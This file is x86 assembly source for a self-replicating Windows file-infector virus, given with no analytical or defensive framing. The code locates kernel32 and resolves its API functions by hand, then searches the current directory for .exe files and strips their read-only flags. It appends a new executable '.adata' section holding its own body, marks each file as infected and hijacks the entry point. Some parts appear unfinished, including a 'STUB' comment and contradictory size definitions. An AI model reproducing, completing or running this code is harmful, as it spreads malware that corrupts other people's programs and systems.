.586p
.model flat, stdcall
option casemap: none
;-------------------------------------------------
include windows.inc
;---------------------------------------------------------------------------;
;API declarations. ;
;---------------------------------------------------------------------------;
;kernel32.dll
_ProtoCreateFileA typedef proto :dword, :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCreateFileMappingA typedef proto :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCloseHandle typedef proto :dword
_ProtoFindFirstFileA typedef proto :dword, :dword
_ProtoFindNextFileA typedef proto :dword, :dword
_ProtoFindClose typedef proto :dword
_ProtoGetFileAttributesA typedef proto :dword
_ProtoLoadLibraryA typedef proto :dword
_ProtoMapViewOfFile typedef proto :dword, :dword, :dword, :dword, :dword
_ProtoSetFileAttributesA typedef proto :dword, :dword
_ProtoUnmapViewOfFile typedef proto :dword
;--------------------------------------------------------------;
_ApiCreateFileA typedef ptr _ProtoCreateFileA
_ApiCreateFileMappingA typedef ptr _ProtoCreateFileMappingA
_ApiCloseHandle typedef ptr _ProtoCloseHandle
_ApiFindFirstFileA typedef ptr _ProtoFindFirstFileA
_ApiFindNextFileA typedef ptr _ProtoFindNextFileA
_ApiFindClose typedef ptr _ProtoFindClose
_ApiGetFileAttributesA typedef ptr _ProtoGetFileAttributesA
_ApiGetFileSize typedef ptr _ProtoGetFileSize
_ApiLoadLibraryA typedef ptr _ProtoLoadLibraryA
_ApiMapViewOfFile typedef ptr _ProtoMapViewOfFile
_ApiSetFileAttributesA typedef ptr _ProtoSetFileAttributesA
_ApiUnmapViewOfFile typedef ptr _ProtoUnmapViewOfFile
;-------------------EQU---------------------------
CODE_SIZE equ offset CODE_START - offset CODE_END
;-------------------Code--------------------------
.code
CODE_START equ this byte
;------------------Data---------------------------'
;kernel32.dll
szCreateFileA db
'CreateFileA'
, 0
szCreateFileMappingA db
'CreateFileMappingA'
, 0
szCloseHandle db
'CloseHandle'
, 0
szFindFirstFileA db
'FindFirstFileA'
, 0
szFindNextFileA db
'FindNextFileA'
, 0
szFindClose db
'FindClose'
, 0
szGetFileAttributesA db
'GetFileAttributesA'
, 0
szLoadLibraryA db
'LoadLibraryA'
, 0
szMapViewOfFile db
'MapViewOfFile'
, 0
szSetFileAttributesA db
'SetFileAttributesA'
, 0
szUnmapViewOfFile db
'UnmapViewOfFile'
, 0
db 0
align dword
_CreateFileA _ApiCreateFileA ?
_CreateFileMappingA _ApiCreateFileMappingA ?
_CloseHandle _ApiCloseHandle ?
_FindFirstFileA _ApiFindFirstFileA ?
_FindNextFileA _ApiFindNextFileA ?
_FindClose _ApiFindClose ?
_GetFileAttributesA _ApiGetFileAttributesA ?
_LoadLibraryA _ApiLoadLibraryA ?
_MapViewOfFile _ApiMapViewOfFile ?
_SetFileAttributesA _ApiSetFileAttributesA ?
_UnmapViewOfFile _ApiUnmapViewOfFile ?
hDllKernel32
dd
?
hDllUser32
dd
?
fileName db MAX_PATH dup (?), 0
szWindowsDir db MAX_PATH dup (?), 0
szSystemDir db MAX_PATH dup (?), 0
szStartupDir db MAX_PATH dup (?), 0
szCurrentDir db MAX_PATH dup (?), 0
szTemp db MAX_PATH dup (?), 0
NEW_SECTION_NAME db
'.adata'
, 0
EXE_MASK db
'*.exe'
, 0
FILE_ATTRI
dd
?
hFile
dd
?
hFindFile
dd
?
hMap
dd
?
mapAddress
dd
?
orgFileAttri
dd
?
findData WIN32_FIND_DATA <?>
;-------------------------SEHHandler----------------------------
_SEHHandler proc C _lpExceptionRecord, _lpSEH, _lpContext, _lpDispatcherContext
pushad
mov esi, _lpExceptionRecord
mov edi, _lpContext
assume esi: ptr EXCEPTION_RECORD, edi: ptr CONTEXT
mov eax, _lpSEH
push [eax + 0Ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi: nothing, edi: nothing
popad
mov eax, ExceptionContinueExecution
ret
_SEHHandler endp
;--------------------CheckPE----------------------------
_CheckPE proc _lpFile
local
@dwReturn
mov @dwReturn, 0
pushad
assume fs: nothing
push ebp
lea eax, [ebx + offset _CheckPERet]
push eax
lea eax, [ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0], esp
;--------------Check PE------------------------------
mov esi, _lpFile
assume esi: ptr IMAGE_DOS_HEADER
.
if
[esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _CheckPERet
.endif
add esi, [esi].e_lfanew
assume esi: ptr IMAGE_NT_HEADERS
.
if
[esi].Signature != IMAGE_NT_SIGNATURE
jmp _CheckPERet
.endif
inc @dwReturn
assume esi: nothing
_CheckPERet:
pop fs:[0]
add esp, 0Ch
popad
mov eax, @dwReturn
ret
_CheckPE endp
;-------------------------------------------------------
_GetKernelBase proc _dwKernelRet
local
@dwReturn
pushad
mov @dwReturn, 0
call @F
@@: pop ebx
sub ebx, offset @B
assume fs: nothing
push ebp
lea eax, [ebx + offset _PageError]
push eax
lea eax, [ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0], esp
;-----------------------------------------
mov edi, _dwKernelRet
and edi, 0FFFF0000h
.
while
TRUE
.
if
word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi + 003Ch]
.
if
word ptr [esi] == IMAGE_NT_SIGNATURE
mov @dwReturn, edi
.
break
.endif
.endif
_PageError:
sub edi, 010000h
.
break
.
if
edi < 070000000h
.endw
pop fs:[0]
add esp, 0Ch
popad
mov eax, @dwReturn
ret
_GetKernelBase endp
;-------------------------------------------------
_GetApi proc _hModule, _lpszApi
local
@dwReturn, @dwStringLength
pushad
mov @dwReturn, 0
assume fs: nothing
push ebp
lea eax, [ebx + offset _Error]
push eax
lea eax, [ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0], esp
;-----------------------------------------
mov edi, _lpszApi
mov ecx, -1
xor al, al
cld
repnz scasb
mov ecx, edi
sub ecx, _lpszApi
mov @dwStringLength, ecx
;------------------------------------------;
; esi -> IMAGE_EXPORT_DIRECTORY ;
;------------------------------------------;
mov esi, _hModule
add esi, [esi + 3Ch]
assume esi: ptr IMAGE_NT_HEADERS
mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress
add esi, _hModule
assume esi: ptr IMAGE_EXPORT_DIRECTORY
;-----------------------------------------
mov ebx, [esi].AddressOfNames
add ebx, _hModule
xor edx, edx
.repeat
push esi
mov edi, [ebx]
add edi, _hModule
mov esi, _lpszApi
mov ecx, @dwStringLength
repz cmpsb
.
if
ZERO?
pop esi
jmp @F
.endif
pop esi
add ebx, 4
inc edx
.
until
edx >= [esi].NumberOfNames
jmp _Error
;-----------------------------------------
@@:
sub ebx, [esi].AddressOfNames
sub ebx, _hModule
shr ebx, 1
add ebx, [esi].AddressOfNameOrdinals
add ebx, _hModule
movzx eax, word ptr [ebx]
shl eax, 2
add eax, [esi].AddressOfFunctions
add eax, _hModule
;-----------------------------------------
mov eax, [eax]
add eax, _hModule
mov @dwReturn, eax
_Error:
pop fs:[0]
add esp, 0Ch
assume esi: nothing
popad
mov eax, @dwReturn
ret
_GetApi endp
;-------------------------------------------------
CODE_SIZE equ CODE_END - CODE_START
;-------------------------------------------------
_NewEntry:
pushad
pushfd
call _Delta
_Delta: pop ebx
sub ebx, offset _Delta
invoke _GetKernelBase, [esp + 24h] ;Get
return
address
or eax, eax
jz _Ret ;Oops!
mov [ebx + hDllKernel32], eax
lea esi, [ebx + _CreateFileA]
lea edi, [ebx + szCreateFileA]
_FindNextAPI:
invoke _GetApi, [ebx + hDllKernel32], edi
mov [esi], eax ;Store API VA
xor al, al ;Get to next API name
@@: scasb
jnz @B
add esi, 4
mov al, [edi]
or al, al
jnz _FindNextAPI
;lea eax, [ebx + szCurrentDir]
;invoke [ebx + _GetCurrentDirectoryA], MAX_PATH, eax
assume fs: nothing
push ebp
push [ebx + _UnmapFile] ;Exception
return
address.
push [ebx + _SEHHandler]
xor eax, eax
push fs:[eax]
mov fs:[eax], esp
_FindFirstFile:
lea eax, [ebx + EXE_MASK]
lea esi, [ebx + findData]
invoke [ebx + _FindFirstFileA], eax, esi
mov [ebx + hFindFile], eax
;--------------------------------------------------------------------------;
; Open, map, check the
file
. ;
; esi --> WIN32_FIND_DATA ;
;--------------------------------------------------------------------------;
;input:
; esi: LPWIN32_FIND_DATA
_CheckFile:
assume esi: ptr WIN32_FIND_DATA
or [esi].nFileSizeHigh, 0
jnz _FindNextFile
test
[esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY
jz @F
and [esi].dwFileAttributes, not FILE_ATTRIBUTE_READONLY
invoke [ebx + _SetFileAttributesA], addr [esi].cFileName, [esi].dwFileAttributes
or [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY ;For restore later.
@@:
lea ecx, [esi].cFileName
call _OpenFile
inc eax
jz _RestoreAttributes
dec eax
mov [ebx + hFile], eax
mov ecx, [esi].nFileSizeLow
call _CreateMap
or eax, eax
jz _CloseMap
mov [ebx + hMap], eax
mov ecx, [ebx + findData].nFileSizeLow
xor ecx, ecx
call _MapFile
or eax, eax
jz _UnmapFile
mov [ebx + mapAddress], eax
;-----------------------------------------------------------------------------;
;Here checks the PE
file
and does some PE DIY, injects the code
in
, and... ;
;-----------------------------------------------------------------------------;
mov edi, eax
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
assume edi: ptr IMAGE_NT_HEADERS
cmp
[edi].Signature, IMAGE_NT_SIGNATURE
jnz _UnmapFile
cmp
[edi].OptionalHeader.LoaderFlags, 01010101h
je _UnmapFile
push [edi].OptionalHeader.FileAlignment
;----------------------------------------------------------------------------;
; Process PE
file
here. ;
;----------------------------------------------------------------------------;
; Close all here. ;
;----------------------------------------------------------------------------;
mov eax, [ebx + mapAddress]
push eax
call [ebx + _UnmapViewOfFile]
mov eax, [ebx + hMap]
push eax
call [ebx + _CloseHandle]
mov eax, [ebx + hFile]
push eax
call [ebx + _CloseHandle]
; Reopen all.
lea ecx, [esi].cFileName
call _OpenFile
inc eax
or eax, eax
jz _CloseFile
dec eax
mov [ebx + hFile], eax
mov ecx, [ebx + findData].nFileSizeLow
add ecx, CODE_SIZE
xchg ecx, eax
pop ecx
call _Align
xchg ecx, eax
push ecx
call _CreateMap
or eax, eax
jz _CloseMap
mov [ebx + hMap], eax
pop ecx
call _MapFile
or eax, eax
jz _UnmapFile
mov [ebx + mapAddress], eax
mov edx, eax
assume edx: ptr IMAGE_DOS_HEADER
add edx, [edx].e_lfanew
assume edx: ptr IMAGE_NT_HEADERS
; Add infected flag
mov [edx].OptionalHeader.LoaderFlags, 01010101h
assume edi: nothing
assume esi: nothing
_AddNewSection:
;-----------------------------------------------------------------------------;
; edx --> IMAGE_NT_HEADER ;
; edi --> New Section ;
; esi --> Origin last section ;
;-----------------------------------------------------------------------------;
mov edi, edx
add edi, sizeof IMAGE_NT_HEADERS
movzx eax, [edx].FileHeader.NumberOfSections
imul eax, eax, sizeof IMAGE_SECTION_HEADER
add edi, eax
; Check
if
enough space to add new section.
push edi
xor eax, eax
mov ecx, sizeof IMAGE_SECTION_HEADER
repz scasb
pop edi
jnz _UnmapFile
mov esi, edi
sub esi, sizeof IMAGE_SECTION_HEADER
assume edi: ptr IMAGE_SECTION_HEADER
assume esi: ptr IMAGE_SECTION_HEADER
; Revise IMAGE_NT_HEADER
inc [edx].FileHeader.NumberOfSections
push esi
_FindPointerToRawData:
mov eax, [esi].PointerToRawData
or eax, eax
jnz @F
sub esi, sizeof IMAGE_SECTION_HEADER
jmp _FindPointerToRawData
@@:
add eax, [esi].SizeOfRawData
mov [edi].PointerToRawData, eax
pop esi
mov eax, CODE_SIZE
mov ecx, [edx].OptionalHeader.FileAlignment
call _Align
mov [edi].SizeOfRawData, eax
mov ecx, [edx].OptionalHeader.SectionAlignment
call _Align
add [edx].OptionalHeader.SizeOfCode, eax
add [edx].OptionalHeader.SizeOfImage, eax
mov [edi].Characteristics, IMAGE_SCN_CNT_CODE or \
IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
; New section name.
push esi
push edi
mov ecx, 8
lea esi, NEW_SECTION_NAME
lea edi, [edi].Name1
rep movsb
pop edi
pop esi
; Revise the entry.
mov eax, [esi].Misc.VirtualSize
mov ecx, [edx].OptionalHeader.SectionAlignment
call _Align
add eax, [esi].VirtualAddress
mov [edi].VirtualAddress, eax
mov [edi].Misc.VirtualSize, CODE_SIZE
mov ecx, eax
add eax, (offset _NewEntry - offset CODE_START)
push [edx].OptionalHeader.AddressOfEntryPoint
mov [edx].OptionalHeader.AddressOfEntryPoint, eax
pop eax
sub eax, ecx
sub eax, offset _ToOldEntry
add eax, offset CODE_START
sub eax, 5
mov _OldEntry, eax
;mov ecx, [edi].SizeOfRawData
mov edi, [edi].PointerToRawData
assume edi: nothing
assume esi: nothing
;-----------------------------------------------------------------------------;
; Inject code. ;
;-----------------------------------------------------------------------------;
;STUB: Something not quite
clear
on calculating address
in
edi.
mov ecx, CODE_SIZE
add edi, [ebx + mapAddress]
lea esi, CODE_START
rep movsb
assume edx: nothing
;invoke _MessageBoxA, NULL, addr [ebx + findData].cFileName, offset szUser32, MB_OK
xor eax, eax
pop fs:[eax]
add esp, 0Ch
;-----------------------------------------------------------------------------;
_UnmapFile:
push [ebx + mapAddress]
call [ebx + _UnmapViewOfFile]
_CloseMap:
push [ebx + hMap]
call [ebx + _CloseHandle]
_CloseFile:
push [ebx + hFile]
call [ebx + _CloseHandle]
_RestoreAttributes:
lea eax, [ebx + findData].cFileName
push eax
lea eax, [ebx + findData].dwFileAttributes
push eax
call [ebx + _SetFileAttributesA]
_FindNextFile:
mov eax, [ebx + hFindFile]
invoke [ebx + _FindNextFileA], eax, esi
or eax, eax
jnz _CheckFile
mov eax, [ebx + hFindFile]
invoke [ebx + _FindClose], eax
_Ret: popfd
popad
_ToOldEntry:
db 0E9H
_OldEntry
dd
?
;--------------------------------------------------------
;input:
; ecx - Address of
file
path
;output:
; eax - File handle
if
successful
_OpenFile proc
invoke [ebx + _CreateFileA], ecx, FILE_READ_DATA or FILE_WRITE_DATA,\
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL
ret
_OpenFile endp
;--------------------------------------------------------
;input:
; ecx - Size to map.
;output:
; eax - MapHandle
if
successful.
_CreateMap proc
xor eax, eax
push eax ;Mapping Object name
push ecx ;dwMaximumSizeLow
push eax ;dwMaximumSizeHigh
push PAGE_READWRITE
push eax ;lpAttributes
push dword ptr [ebx + hFile]
call [ebx + _CreateFileMappingA]
ret
_CreateMap endp
;--------------------------------------------------------
;invoke [ebx + _CreateFileA], ecx, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL,\
; OPEN_EXISTING, 0, NULL
;invoke [ebx + _CreateFileMappingA], eax, NULL, PAGE_READONLY, 0, 0, NULL
;invoke [ebx + _MapViewOfFile], [ebx + hMap], FILE_MAP_READ, 0, 0, 0
;input:
; ecx - Size of
file
to map.
;output:
; eax - MapAddress
if
successful.
_MapFile proc
push ecx
push 0
push 0
push FILE_MAP_READ or FILE_MAP_WRITE
push dword ptr [ebx + hMap]
call [ebx + _MapViewOfFile]
ret
_MapFile endp
;--------------------------------------------------------
;input:
; eax - Value to Align.
; ecx - Alignment factor.
;output:
; eax - Aligned value.
_Align proc
push edx
push eax
xor edx, edx
div ecx
pop eax
.
if
edx
sub ecx, edx
add eax, ecx
.endif
pop edx
ret
_Align endp
;-------------------------------------------------
CODE_END equ this byte
;-------------------------------------------------
end _NewEntry